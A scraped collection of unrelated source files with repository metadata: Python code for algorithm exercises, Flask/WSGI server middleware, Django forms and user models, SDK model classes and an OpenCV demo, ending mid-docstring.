UTF-8
Python
false
false
328
py
def max_val(num): if num == 0 or num == 1: return num if num in dp: return dp[num] maxval = max(num,max_val(num//2)+max_val(num//3)+max_val(num//4)) dp[num] = maxval return maxval if __name__=='__main__': global dp dp = {} for i in range(10): try: n = int(input()) print(max_val(n)) except: break
[ "rikith.legend@gmail.com" ]
rikith.legend@gmail.com
7696aea1af5d04d5c170863940af3c18d90b4034
2d841eef1cdda9ed67073fac83196282ecc3aa0c
/zoonado/protocol/request.py
908b8a467d2f1ebb3ca9426c0005f8c11f2113bd
[ "Apache-2.0" ]
permissive
cybergrind/zoonado
a130dfb2a2d9867784a81056ff307d97eee68128
c51457b997e0b9500c7bbdaa1be0693a0185fa5e
refs/heads/master
2020-12-03T02:27:41.417566
2016-08-31T19:19:35
2016-08-31T19:19:35
67,051,910
0
0
null
2016-08-31T15:50:16
2016-08-31T15:50:15
null
UTF-8
Python
false
false
999
py
import logging import struct from six import BytesIO from .part import Part from .primitives import Int log = logging.getLogger(__name__) class Request(Part): """ Returns a bytesring representation of the request instance. # TODO(wglass): specify how xid and type preamble goes in Since this is a ``Part`` subclass the rest is a matter of appending the result of a ``render()`` call. """ opcode = None special_xid = None writes_data = False def serialize(self, xid=None): buff = BytesIO() formats = [] data = [] if xid is not None: formats.append(Int.fmt) data.append(xid) if self.opcode: formats.append(Int.fmt) data.append(self.opcode) payload_format, payload_data = self.render() formats.append(payload_format) data.extend(payload_data) buff.write(struct.pack("!" + "".join(formats), *data)) return buff.getvalue()
[ "william.glass@gmail.com" ]
william.glass@gmail.com
223a3a99bbd7d4ba7c99c9e91a9e98bf218afc69
91fb65972d69ca25ddd892b9d5373919ee518ee7
/pibm-training/sample-programs/py_everything_is_an_obj_001.py
0e6612549b1013f3e183fce673a9182048163007
[]
no_license
zeppertrek/my-python-sandpit
c36b78e7b3118133c215468e0a387a987d2e62a9
c04177b276e6f784f94d4db0481fcd2ee0048265
refs/heads/master
2022-12-12T00:27:37.338001
2020-11-08T08:56:33
2020-11-08T08:56:33
141,911,099
0
0
null
2022-12-08T04:09:28
2018-07-22T16:12:55
Python
UTF-8
Python
false
false
364
py
#py_everything_is_an_obj_001.py a = "spam" b = "spam" # print(id(a)) print(id(b)) # # id() returns the actual memory location where the variable is stored. # Since id(a) = id(b), we know that a and b both point to a single variable, # that resides in a single memory location. # This is what we mean by “multiple names bound to single object print(a is b)
[ "zeppertrek@gmail.com" ]
zeppertrek@gmail.com
cd9b705a28433bf72c9fcf5e19b36c5865b6b741
87c1d94465696d2373b69858fe70f300975a62da
/glycresoft_app/application_server.py
3fb511380d8de124158ad2b65f0022bdb1d0b9c3
[]
no_license
mobiusklein/glycresoft_app
a3a119c2693be0fdadac3afeaf137a297ee8d7a0
64d0d65680b36d52cb431733adce44e8bed577fa
refs/heads/master
2023-09-06T00:09:55.314850
2023-08-30T01:40:21
2023-08-30T01:40:21
71,012,403
0
1
null
null
null
null
UTF-8
Python
false
false
4,991
py
import re import logging from typing import Callable, Union import waitress from flask import request, Flask from werkzeug.serving import run_simple from werkzeug.wsgi import LimitedStream logger = logging.getLogger("glycresoft") class StreamConsumingMiddleware(object): def __init__(self, app): self.app = app def __call__(self, environ, start_response): stream = LimitedStream(environ['wsgi.input'], int(environ.get('CONTENT_LENGTH') or 0)) environ['wsgi.input'] = stream app_iter = self.app(environ, start_response) try: stream.exhaust() for event in app_iter: yield event finally: if hasattr(app_iter, 'close'): app_iter.close() class LoggingMiddleware(object): def __init__(self, app, logger=logger): self.app = app self.logger = logger def make_start_response(self, start_response, url): def wrapper(status, response_headers): self.logger.info(f": {url} -> {status}") return start_response(status, response_headers) return wrapper def __call__(self, environ, start_response): url = environ['PATH_INFO'] self.logger.debug(f": Starting {url}") return self.app(environ, self.make_start_response(start_response, url)) class AddressFilteringMiddleware(object): def __init__(self, app, blacklist=None, whitelist=None): if blacklist is None: blacklist = [] if whitelist is None: whitelist = [] self.app = app self.blacklist = [] self.whitelist = [] for item in blacklist: self.add_address_to_filter(item) for item in whitelist: self.add_address_to_allow(item) def __call__(self, environ, start_response): client_ip = environ['REMOTE_ADDR'] for pattern in self.whitelist: if pattern.match(client_ip): return self.app(environ, start_response) for pattern in self.blacklist: if pattern.match(client_ip): start_response("403", {}) return iter(("Connection Refused!",)) else: return self.app(environ, start_response) def add_address_to_filter(self, ipaddr): pattern = re.compile(ipaddr) self.blacklist.append(pattern) def add_address_to_allow(self, ipaddr): pattern = re.compile(ipaddr) self.whitelist.append(pattern) class AddressFilteringApplication(object): def __init__(self, app, blacklist=None, whitelist=None): if blacklist is None: blacklist = [] if whitelist is None: whitelist = [] self.app = app self._whitelist = list(whitelist) self._blacklist = list(blacklist) self._filter = AddressFilteringMiddleware( self.app.wsgi_app, self._blacklist, self._whitelist) self.app.wsgi_app = self._filter def blacklist(self, ipaddr): self._filter.add_address_to_filter(ipaddr) def whitelist(self, ipaddr): self._filter.add_address_to_allow(ipaddr) class ApplicationServer(object): app: Flask port: Union[int, str] host: str debug: bool shutdown: Callable[[], None] def __init__(self, app, port, host, debug): self.app = app self.port = port self.host = host self.debug = debug def shutdown_server(self): self.shutdown() class ApplicationServerManager(object): pass class WerkzeugApplicationServer(ApplicationServer): def __init__(self, app, port, host, debug): super(WerkzeugApplicationServer, self).__init__(app, port, host, debug) def shutdown(self): func = request.environ.get('werkzeug.server.shutdown') if func is None: raise RuntimeError('Not running with the Werkzeug Server') func() def run(self): run_simple( hostname=self.host, port=self.port, application=self.app, threaded=True, use_debugger=self.debug, use_reloader=False, passthrough_errors=True) ApplicationServerManager.werkzeug_server = WerkzeugApplicationServer class WaitressApplicationServer(ApplicationServer): def __init__(self, app, port, host, debug): super().__init__(LoggingMiddleware(app), port, host, debug) self.server = None def shutdown(self): logger.info(f"Stopping application server on {self.host}:{self.port}") if self.server is not None: self.server.close() logger.info( "Stopped application server") def run(self): logger.info(f"Starting application server on {self.host}:{self.port}") self.server = waitress.create_server(self.app, host=self.host, port=self.port, ) self.server.run() ApplicationServerManager.waitress_server = WaitressApplicationServer
[ "mobiusklein@gmail.com" ]
mobiusklein@gmail.com
a37aff3cdf0d53e29d93e00e6dd191d81b661662
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/pa2/sample/class_def_methods-139.py
b4ff2a30618b166adbb2cfa8393b73915e5fdeb7
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
351
py
class A(object): x:int = 1 def get_A(self: "A") -> int: return self.x class B(A): def __init__(self: "B"): pass class C(B): z:bool = True def set_A(self: "C", val: int) -> object: self.x = val a:A = None b:B = None c:C = None a = A() $Target = B() c = C() b.x = a.get_A() a.x = b.get_A() c.set_A(0)
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
892d737a042d3d46a559c275e9a923acf3530294
c3ff891e0e23c5f9488508d30349259cc6b64b4d
/python练习/django exercise/luffy_permission/rbac/service/middlewares.py
1d0238ecf25eeee9606cd4855644b05469d43173
[]
no_license
JacksonMike/python_exercise
2af2b8913ec8aded8a17a98aaa0fc9c6ccd7ba53
7698f8ce260439abb3cbdf478586fa1888791a61
refs/heads/master
2020-07-14T18:16:39.265372
2019-08-30T11:56:29
2019-08-30T11:56:29
205,370,953
0
0
null
null
null
null
UTF-8
Python
false
false
2,231
py
from django.utils.deprecation import MiddlewareMixin from django.shortcuts import HttpResponse, redirect from rbac.models import Permission import re class PermissionMiddleWare(MiddlewareMixin): def process_request(self, request): current_path = request.path # 设置白名单放行 for item in ["/login/", "/admin/*", "/index/"]: ret = re.search(item, current_path) if ret: return None # /customers/edit/1 # 校验是否登录 user_id = request.session.get("user_id") if not user_id: return redirect("/login/") # 校验权限 permissions_list = request.session.get("permissions_list") # 路径导航列表 request.breadcrumb = [ { "title": "首页", "url": "/" } ] for item in permissions_list: reg = "^%s$" % item["url"] ret = re.search(reg, current_path) if ret: show_id = item["pid"] or item["id"] request.show_id = show_id # 确定面包屑路径 if item["pid"]: parent_permission = Permission.objects.filter(pk=item["pid"]).first() request.breadcrumb.extend( [ # 父权限字典 { "title": parent_permission.title, "url": parent_permission.url, }, # 子权限字典 { "title": item["title"], "url": request.path, }, ] ) else: request.breadcrumb.append( { "title": item["title"], "url": item["url"], } ) return None return HttpResponse("无访问权限!")
[ "2101706902@qq.com" ]
2101706902@qq.com
c416adf9692fb2e0f6a93c4bfd6cc646de67eca2
9faf145ffc23b218166ac220b5a01fe4d6fc19c3
/clients/forms.py
784f472f8eabf43814ee31f07f1b4d7273d36392
[]
no_license
yrrodriguezb/Admin_Projects
58ddd5a185c6c2b9ab72a9d2c066113d484e43f8
098ffb03a4585a11d2d31842e5340c5806749983
refs/heads/master
2023-07-06T05:01:45.644989
2023-06-26T23:25:37
2023-06-26T23:25:37
199,576,321
0
0
null
2023-06-26T23:25:39
2019-07-30T04:46:24
CSS
UTF-8
Python
false
false
4,020
py
from django import forms from django.contrib.auth.models import User from .models import Client, SocialNetwork # Constantes ERROR_MESSAGE_USER = { 'required': 'El usuario es requerido', 'unique': 'El usuario ya esta registrado', 'invalid': 'El nombre de usuario es incorrecto' } ERROR_MESSAGE_PASSWORD = { 'required': 'La contraseña es requerida' } ERROR_MESSAGE_EMAIL = { 'invalid': 'Ingrese un correo valido' } def must_be_gt(value_password): if len(value_password) < 5: raise forms.ValidationError('El password debe tener mas de 5 caracteres') class LoginForm(forms.Form): username = forms.CharField(max_length=20) password = forms.CharField(max_length=20, widget=forms.PasswordInput()) def __init__(self): super(LoginForm, self).__init__() self.fields['username'].widget.attrs.update({ 'id': 'username_login', 'class': 'input_login' }) self.fields['password'].widget.attrs.update({ 'id': 'password_login', 'class': 'input_login' }) class CreateUserForm(forms.ModelForm): username = forms.CharField(max_length=20, error_messages = ERROR_MESSAGE_USER) password: forms.CharField(max_length=20, error_messages = ERROR_MESSAGE_PASSWORD, widget=forms.PasswordInput()) email = forms.CharField(error_messages= ERROR_MESSAGE_EMAIL) def __init__(self, *args, **kwargs): super(CreateUserForm, self).__init__(*args, **kwargs) self.fields['username'].widget.attrs.update({ 'id': 'username_create' }) self.fields['password'].widget.attrs.update({ 'id': 'password_create' }) self.fields['email'].widget.attrs.update({ 'id': 'password_create' }) def clean_email(self): email = self.cleaned_data.get('email') if User.objects.filter(email=email).count(): raise forms.ValidationError('El email ya existe.') return email class Meta: model = User fields = ( 'username', 'password', 'email' ) class EditUserForm(forms.ModelForm): username = forms.CharField(max_length=20, error_messages=ERROR_MESSAGE_USER) email = forms.CharField(error_messages=ERROR_MESSAGE_EMAIL) first_name = forms.CharField(label='Nombre completo', required=False) last_name = forms.CharField(label='Apellidos', required=False) class Meta: model = User fields = ('username', 'email', 'first_name', 'last_name') def clean_email(self): email = self.cleaned_data.get('email') if User.objects.filter(email=email).exclude(pk=self.instance.id).count(): raise forms.ValidationError('El email ya existe.') return email class EditUserPasswordForm(forms.Form): password = forms.CharField(max_length=20, widget=forms.PasswordInput(), validators=[must_be_gt]) new_password = forms.CharField(max_length=20, widget=forms.PasswordInput(), validators=[must_be_gt]) repeat_password = forms.CharField(max_length=20, widget=forms.PasswordInput(), validators=[must_be_gt]) def clean(self): clean_data = super(EditUserPasswordForm, self).clean() pass1 = clean_data.get('new_password') pass2 = clean_data.get('repeat_password') if pass1 != pass2: raise forms.ValidationError('Las contraseñas no son iguales') class EditClientForm(forms.ModelForm): job = forms.CharField(label='Trabajo Actual', required=False) bio = forms.CharField(label='Biografía', widget=forms.Textarea(), required=False) class Meta: model = Client exclude = ['user'] def __init__(self, *args, **kwargs): super(EditClientForm, self).__init__(*args, **kwargs) self.fields['job'].widget.attrs.update({ 'id': 'job_edit_client', 'class': 'validate' }) self.fields['bio'].widget.attrs.update({ 'id': 'bio_edit_client', 'class': 'validate' }) class EditClientSocialForm(forms.ModelForm): class Meta: model = SocialNetwork exclude = ['user']
[ "yrrodriguezb@gmail.com" ]
yrrodriguezb@gmail.com
6b655752d5a07872aa9b40b1be3100bf3f294a8e
673e829dda9583c8dd2ac8d958ba1dc304bffeaf
/data/multilingual/Tfng.ZGH/Sun-ExtA_16/pdf_to_json_test_Tfng.ZGH_Sun-ExtA_16.py
03ebec36e784299d747ea13f2b53ed8ab0ce2501
[ "BSD-3-Clause" ]
permissive
antoinecarme/pdf_to_json_tests
58bab9f6ba263531e69f793233ddc4d33b783b7e
d57a024fde862e698d916a1178f285883d7a3b2f
refs/heads/master
2021-01-26T08:41:47.327804
2020-02-27T15:54:48
2020-02-27T15:54:48
243,359,934
2
1
null
null
null
null
UTF-8
Python
false
false
311
py
import pdf_to_json as p2j import json url = "file:data/multilingual/Tfng.ZGH/Sun-ExtA_16/udhr_Tfng.ZGH_Sun-ExtA_16.pdf" lConverter = p2j.pdf_to_json.pdf_to_json_converter() lConverter.mImageHashOnly = True lDict = lConverter.convert(url) print(json.dumps(lDict, indent=4, ensure_ascii=False, sort_keys=True))
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
8e8fc36db20a6b5e3d356b04c4033f97b1883151
0b40232eb2395c27353c892ef4ccb5c604bb75be
/Top Amazon Questions 2020-21/238. Product of Array Except Self.py
697114e68bea8899ecfa0f9455b060d0d72e1387
[]
no_license
HareshNasit/LeetCode
971ae9dd5e4f0feeafa5bb3bcf5b7fa0a514d54d
674728af189aa8951a3fcb355b290f5666b1465c
refs/heads/master
2021-06-18T07:37:40.121698
2021-02-12T12:30:18
2021-02-12T12:30:18
168,089,751
5
0
null
null
null
null
UTF-8
Python
false
false
1,470
py
def productExceptSelf(self, nums: List[int]) -> List[int]: # Runtime: O(n), Space: O(1) output = [] product = 1 for i in range(len(nums) - 1, 0, -1): product *= nums[i] output.append(product) output.reverse() output.append(1) product = 1 for j in range(len(nums)): output[j] *= product product *= nums[j] return output # The below approach can be improved by considering only 1 list # Runtime: O(n), Space: O(n) # Logic: maintain 2 arrays with left and right products except the num # left_sums = [1] # right_sums = [] # product = 1 # for i in range(len(nums) - 1): # product *= nums[i] # left_sums.append(product) # product = 1 # for j in range(len(nums) - 1, 0, -1): # product *= nums[j] # right_sums.append(product) # right_sums.reverse() # right_sums.append(1) # output = [] # for i in range(len(nums)): # output.append(left_sums[i] * right_sums[i]) # return output # Brute Force method with 2 loops O(n^2) # output = [] # for i in range(len(nums)): # product = 1 # for j in range(len(nums)): # if i != j: # product *= nums[j] # output.append(product) # return output
[ "harsh.nasit@mail.utoronto.ca" ]
harsh.nasit@mail.utoronto.ca
ea24decd785a80733d8f26101e938ff9a02b6c9c
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-eihealth/huaweicloudsdkeihealth/v1/model/create_label_page_req.py
102091db306ef21d76697a22ec8d70ef018cf23e
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
4,831
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CreateLabelPageReq: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'name': 'str', 'feature': 'FeatureEnum', 'labels': 'list[str]' } attribute_map = { 'name': 'name', 'feature': 'feature', 'labels': 'labels' } def __init__(self, name=None, feature=None, labels=None): """CreateLabelPageReq The model defined in huaweicloud sdk :param name: 标签页面标题,正则匹配中文,英文字母和数字及下划线 :type name: str :param feature: :type feature: :class:`huaweicloudsdkeihealth.v1.FeatureEnum` :param labels: 标签页面包含的标签值,正则匹配中文,英文字母和数字及下划线 :type labels: list[str] """ self._name = None self._feature = None self._labels = None self.discriminator = None self.name = name self.feature = feature self.labels = labels @property def name(self): """Gets the name of this CreateLabelPageReq. 标签页面标题,正则匹配中文,英文字母和数字及下划线 :return: The name of this CreateLabelPageReq. :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this CreateLabelPageReq. 标签页面标题,正则匹配中文,英文字母和数字及下划线 :param name: The name of this CreateLabelPageReq. :type name: str """ self._name = name @property def feature(self): """Gets the feature of this CreateLabelPageReq. :return: The feature of this CreateLabelPageReq. :rtype: :class:`huaweicloudsdkeihealth.v1.FeatureEnum` """ return self._feature @feature.setter def feature(self, feature): """Sets the feature of this CreateLabelPageReq. :param feature: The feature of this CreateLabelPageReq. :type feature: :class:`huaweicloudsdkeihealth.v1.FeatureEnum` """ self._feature = feature @property def labels(self): """Gets the labels of this CreateLabelPageReq. 标签页面包含的标签值,正则匹配中文,英文字母和数字及下划线 :return: The labels of this CreateLabelPageReq. :rtype: list[str] """ return self._labels @labels.setter def labels(self, labels): """Sets the labels of this CreateLabelPageReq. 标签页面包含的标签值,正则匹配中文,英文字母和数字及下划线 :param labels: The labels of this CreateLabelPageReq. :type labels: list[str] """ self._labels = labels def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CreateLabelPageReq): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
70d797fbbba0be7ea46b8cff2d12b561c3fe0d80
12e50c27715f436b61513fbdce29b8f3c10b44b5
/misc/math-functions-nikki.py
acc79e7d875f96f5c7bf98b9dc73fcf5dc677934
[]
no_license
jitto/pi-rover
790c3f76fecf07270a4b1d8d532babd21397e694
f2d55224a2af69d8d20b7c148ca6ea0889b70fbc
refs/heads/master
2020-05-18T06:28:27.082033
2015-09-06T18:04:55
2015-09-06T18:04:55
15,832,652
0
0
null
null
null
null
UTF-8
Python
false
false
677
py
def fib(n): a, b = 0, 1 while a < n: print a, a, b = b, a+b def cube_volume(n): return n ** 3 def cube_area(n): return n * n * 6 def triangle_area(height, basewidth): return (height * basewidth) /2 def pyramid_area(triangleheight, basewidth): d=(triangleheight * basewidth) /2 * 4 return d + (basewidth ** 2) def pyramid_volume(pyramidheight, basewidth): return (basewidth ** 2) * pyramidheight /3 import math def cylinder_volume(width, height): return (width /2) ** 2 * math.pi * height import math def cylinder_area(width, height): d= width * math.pi c= (width /2) ** 2 * math.pi return (d * height) + (c * 2)
[ "pi@raspberrypi.(none)" ]
pi@raspberrypi.(none)
4293d7edf5e9d6f308b33e9de2ed4d3e96fb7536
2a8abd5d6acdc260aff3639bce35ca1e688869e9
/telestream_cloud_qc_sdk/telestream_cloud_qc/models/imf_conformance_test.py
e05c079cfee8684235503293e616459bf08a8fd8
[ "MIT" ]
permissive
Telestream/telestream-cloud-python-sdk
57dd2f0422c83531e213f48d87bc0c71f58b5872
ce0ad503299661a0f622661359367173c06889fc
refs/heads/master
2021-01-18T02:17:44.258254
2020-04-09T11:36:07
2020-04-09T11:36:07
49,494,916
0
0
MIT
2018-01-22T10:07:49
2016-01-12T11:10:56
Python
UTF-8
Python
false
false
4,135
py
# coding: utf-8 """ Qc API Qc API # noqa: E501 The version of the OpenAPI document: 3.0.0 Contact: cloudsupport@telestream.net Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from telestream_cloud_qc.configuration import Configuration class ImfConformanceTest(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'reject_on_error': 'bool', 'checked': 'bool' } attribute_map = { 'reject_on_error': 'reject_on_error', 'checked': 'checked' } def __init__(self, reject_on_error=None, checked=None, local_vars_configuration=None): # noqa: E501 """ImfConformanceTest - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._reject_on_error = None self._checked = None self.discriminator = None if reject_on_error is not None: self.reject_on_error = reject_on_error if checked is not None: self.checked = checked @property def reject_on_error(self): """Gets the reject_on_error of this ImfConformanceTest. # noqa: E501 :return: The reject_on_error of this ImfConformanceTest. # noqa: E501 :rtype: bool """ return self._reject_on_error @reject_on_error.setter def reject_on_error(self, reject_on_error): """Sets the reject_on_error of this ImfConformanceTest. :param reject_on_error: The reject_on_error of this ImfConformanceTest. # noqa: E501 :type: bool """ self._reject_on_error = reject_on_error @property def checked(self): """Gets the checked of this ImfConformanceTest. # noqa: E501 :return: The checked of this ImfConformanceTest. # noqa: E501 :rtype: bool """ return self._checked @checked.setter def checked(self, checked): """Sets the checked of this ImfConformanceTest. :param checked: The checked of this ImfConformanceTest. # noqa: E501 :type: bool """ self._checked = checked def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, ImfConformanceTest): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, ImfConformanceTest): return True return self.to_dict() != other.to_dict()
[ "cloudsupport@telestream.net" ]
cloudsupport@telestream.net
b64770ff542be1e4d9164dcb5118b683f7b128a2
7ec92031e28b1a92a10a9f252f99211663e0d8f9
/src/py/l0590.py
c3a8b6f335216c7c92b7764c9b5ab5b13567f52c
[]
no_license
SS4G/leetcode_2020
4eb63f6afd59f84e44334e78cb06c7b33a89dd15
9a9a8fc779e7456db77f88e7dcdcc1f5cae92c62
refs/heads/master
2020-06-29T17:12:39.488350
2020-02-08T01:07:08
2020-02-08T01:07:08
200,575,620
0
0
null
null
null
null
UTF-8
Python
false
false
1,112
py
from typing import List class Node: def __init__(self, val=None, children=None): self.val = val self.children = children #from collections import namedtuple #NamedNode = namedtuple("NamedNode", ["node", "children_isin_stack"]) class NamedNode: def __init__(self, node=None, children_isin_stack=None): self.node = node self.children_isin_stack = children_isin_stack class Solution: def postorder(self, root: 'Node') -> List[int]: if root is None: return [] stack = [] result = [] stack.append(NamedNode(node=root, children_isin_stack=False)) while len(stack) > 0: if not stack[-1].children_isin_stack: fatherNameNode = stack[-1] childrenNamedNodes = [NamedNode(node=node, children_isin_stack=False) for node in reversed(stack[-1].node.children)] stack.extend(childrenNamedNodes) fatherNameNode.children_isin_stack = True else: result.append(stack.pop().node.val) return result
[ "zihengs@opera.com" ]
zihengs@opera.com
02f628303b7dc91de251f6326cedaae0298a9587
51b6d2fc53d5c632fcf01319842baebf13901e84
/atcoder.jp/abc188/abc188_d/Main.py
1e5d9d645f2e9ffab7410054740a1fd8aab111ac
[]
no_license
mono-0812/procon
35db3b2c21eff74fbd7b52db07f249380f6834ef
68a4b53880a228a0164052b23d1326363efcbc20
refs/heads/master
2023-05-30T17:02:58.935074
2021-06-27T12:15:10
2021-06-27T12:15:10
345,896,553
0
0
null
null
null
null
UTF-8
Python
false
false
299
py
N,C=map(int,input().split()) event=[] for i in range(N): a,b,c=map(int,input().split()) a-=1 event.append((a,c)) event.append((b,-c)) event.sort() ans=0 price=0 time=0 for x,y in event: if x!= time: ans += min(C,price) * (x-time) time=x price += y print(ans)
[ "frisk02.jar@gmail.com" ]
frisk02.jar@gmail.com
64826084a3a388930cb6ac612e49b7b0bd430cbd
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2193/60769/290055.py
5b7ecddc8355fa25593ec20850b2d615a4c64e30
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
625
py
def solve(stri, start, end): arr = [] for i in range(start, end + 1): arr.append(stri[:i]) temp = [] # print(arr) for i in range(end - start, 0, -1): for item in arr: if len(item) >= i: if item[-i:] in temp: return i else: temp.append(item[-i:]) # print(temp) temp = [] return 0 if __name__ == '__main__': n, m = list(map(int, input().split())) stri = input() for i in range(m): start, end = list(map(int, input().split())) print(solve(stri, start, end))
[ "1069583789@qq.com" ]
1069583789@qq.com
31a01a998d47903bb644c847826883ea15e847c2
c309e7d19af94ebcb537f1e8655c0122dbe0cb13
/Chapter05/01-chapter-content/bitwise_operations_images.py
7d0d64e2babad2a125a12bfc9b713a529d967d77
[ "MIT" ]
permissive
PacktPublishing/Mastering-OpenCV-4-with-Python
0fb82c88cb7205c7050c8db9f95a6deb3b1b3333
4194aea6f925a4b39114aaff8463be4d18e73aba
refs/heads/master
2023-03-07T04:51:16.071143
2023-02-13T10:17:48
2023-02-13T10:17:48
151,057,527
375
226
MIT
2022-08-27T13:32:19
2018-10-01T08:27:29
Python
UTF-8
Python
false
false
1,151
py
""" Bitwise operations (AND, OR) between two loaded images """ import cv2 import matplotlib.pyplot as plt def show_with_matplotlib(color_img, title, pos): """Shows an image using matplotlib capabilities""" # Convert BGR image to RGB: img_RGB = color_img[:, :, ::-1] ax = plt.subplot(2, 2, pos) plt.imshow(img_RGB) plt.title(title) plt.axis('off') # Create the dimensions of the figure and set title: plt.figure(figsize=(6, 5)) plt.suptitle("Bitwise AND/OR between two images", fontsize=14, fontweight='bold') # Load the original image (250x250): image = cv2.imread('lenna_250.png') # Load the binary image (but as a GBR color image - with 3 channels) (250x250): binary_image = cv2.imread('opencv_binary_logo_250.png') # Bitwise AND bitwise_and = cv2.bitwise_and(image, binary_image) # Bitwise OR bitwise_or = cv2.bitwise_or(image, binary_image) # Display all the resulting images: show_with_matplotlib(image, "image", 1) show_with_matplotlib(binary_image, "binary logo", 2) show_with_matplotlib(bitwise_and, "AND operation", 3) show_with_matplotlib(bitwise_or, "OR operation", 4) # Show the Figure: plt.show()
[ "fernandezvillan.alberto@gmail.com" ]
fernandezvillan.alberto@gmail.com
131babc22aa61f003930bc3c092db73b94b4f001
ffa27c48912792a5cbb22abd1b27a7b047efec83
/yacon/models/users.py
a22a3fa63fb1ba879f864cb767b31069d4fd8366
[ "MIT" ]
permissive
cltrudeau/django-yacon
ac325829a25b343b2a7eb604886e019b33efc098
d462c88cf98bf8eef50a0696b265fa28dfdb40eb
refs/heads/master
2022-12-02T18:15:10.075815
2017-10-29T21:39:08
2017-10-29T21:39:08
31,387,194
0
0
MIT
2022-11-22T02:03:55
2015-02-26T20:28:18
Python
UTF-8
Python
false
false
3,834
py
# yacon.models.users.py import logging, copy from django.db import models from django.db import connection from django.db.utils import IntegrityError from django.contrib.auth.models import User from yacon.models.common import TimeTrackedModel logger = logging.getLogger(__name__) # ============================================================================ class UsernameError(Exception): pass class UserProfileBase(TimeTrackedModel): user = models.OneToOneField(User) class Meta: app_label = 'yacon' abstract = True @classmethod def create(cls, username, first_name, last_name, email, password, **kwargs): try: user = User.objects.create_user(username, email, password) user.first_name = first_name user.last_name = last_name if 'is_active' in kwargs: user.is_active = kwargs.pop('is_active') if 'is_staff' in kwargs: user.is_staff = kwargs.pop('is_staff') if 'is_superuser' in kwargs: user.is_superuser = kwargs.pop('is_superuser') user.save() except IntegrityError: # rollback the attempted commit and throw our own error connection._rollback() err = UsernameError('username %s existed already' % username) raise err profile = cls(user=user, **kwargs) profile.save() return profile @classmethod def create_from_data(cls, data): kwargs = copy.copy(data) username = kwargs.pop('username') first_name = kwargs.pop('first_name') last_name = kwargs.pop('last_name') email = kwargs.pop('email') password1 = kwargs.pop('password1') kwargs.pop('password2') return cls.create(username, first_name, last_name, email, password1, **kwargs) def update_profile(self, data): """Updates the UserProfile and corresponding User object based on the data that was passed in. Note: do NOT attempt a password change this way.""" user_changed = False profile_changed = False for key, value in data.items(): if hasattr(self.user, key): setattr(self.user, key, value) user_changed = True elif hasattr(self, key): setattr(self, key, value) profile_changed = True else: logger.error('neither profile or profile.user has key "%s"', key) try: if user_changed: self.user.save() except IntegrityError: connection._rollback() raise UsernameError('username %s already existed' % data['username']) if profile_changed: self.save() def permission_to_create_page(self, page_type, node): """Returns True if this user is allowed to create the page of the given type at the given uri. Base implementation only returns True if the user is a superuser. :param page_type: PageType object of the page about to be created :param node: Node object where the page is being placed :returns: Boolean indicating if the user has permission to create a page of that type in that location """ return self.user.is_superuser def permission_to_edit_page(self, page, context={}): """Returns True if this user is allowed to edit the given page. Base implementation returns True if the user is the owner or a 